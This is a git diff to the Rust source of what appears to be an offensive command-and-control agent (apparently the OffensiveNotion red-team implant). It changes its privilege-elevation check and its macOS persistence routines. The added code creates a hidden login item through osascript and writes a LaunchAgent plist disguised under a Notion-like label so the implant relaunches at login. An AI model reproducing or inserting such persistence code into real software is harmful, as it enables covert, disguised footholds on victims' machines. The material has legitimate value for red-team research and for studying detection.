diff --git a/agent/src/cmd/elevate.rs b/agent/src/cmd/elevate.rs index 444d698..f768c82 100644 --- a/agent/src/cmd/elevate.rs +++ b/agent/src/cmd/elevate.rs @@ -27,10 +27,10 @@ pub fn can_elevate() -> bool { .nth(0) .unwrap(); - #[cfg(unix)] { + #[cfg(target_os = "linux")] { return user.groups().contains(&"sudo".to_string()); } - #[cfg(macos)] { + #[cfg(target_os = "macos")] { return user.groups().contains(&"admin".to_string()); } #[cfg(windows)] { diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index 1e45d8b..7d122a4 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -285,14 +285,16 @@ WantedBy=multi-user.target" Ok(_) => { logger.info("Notion directory created".to_string()); }, Err(e) => { logger.err(e.to_string()); } }; - if let Ok(_) = copy(&app_path, dest_path) { + if let Ok(_) = copy(&app_path, &dest_path) { // Save config for relaunch let b64_config = config_options.to_base64(); // Write a line to the user's bashrc that starts the agent. + let osascript_string = format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties {{path:"{dest_path}", hidden:true}}'"#); + logger.debug(osascript_string.to_owned()); let mut applescript_args = CommandArgs::new( - vec![format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties {path:"{dest_path}/notion", hidden:true}'"#)] + vec![osascript_string] ); - if let Ok(_) = shell::handle(&mut bashrc_args).await { + if let Ok(_) = shell::handle(&mut applescript_args).await { Ok("Login item created!".to_string()) } else { Ok("Could not create login item".to_string()) @@ -310,11 +312,11 @@ WantedBy=multi-user.target" }; if let Ok(_) = copy(&app_path, &dest_path) { let b64_config = config_options.to_base64(); - let launch_agent_path: String; + let launch_agent_dir: String; if is_root() { - launch_agent_path = "/Library/LaunchAgents/com.notion.offnote.plist".to_string(); + launch_agent_dir = "/Library/LaunchAgents".to_string(); } else { - launch_agent_path = format!("{home}/Library/LaunchAgents/com.notion.offnote.plist"); + launch_agent_dir = format!("{home}/Library/LaunchAgents"); } let launch_agent_string = format!( r#" @@ -322,7 +324,7 @@ r#" Label -com.mttaggart.offensivenotion +com.notion.offnote ProgramArguments {dest_path} @@ -331,8 +333,16 @@ r#" "#); - write(launch_agent_path, launch_agent_string)?; - Ok(format!("LaunchAgent written to {launch_agent_path}")); + // Make the user LaunchAgents dir if it doesn't exist + + if !std::path::Path::new(&launch_agent_dir).is_dir() { + create_dir(&launch_agent_dir)?; + } + write( + format!("{launch_agent_dir}/com.notion.offnote.plist").as_str(), + &launch_agent_string + )?; + Ok(format!("LaunchAgent written to {launch_agent_dir}")) } else { return Ok("Could not copy app to destination".to_string()); }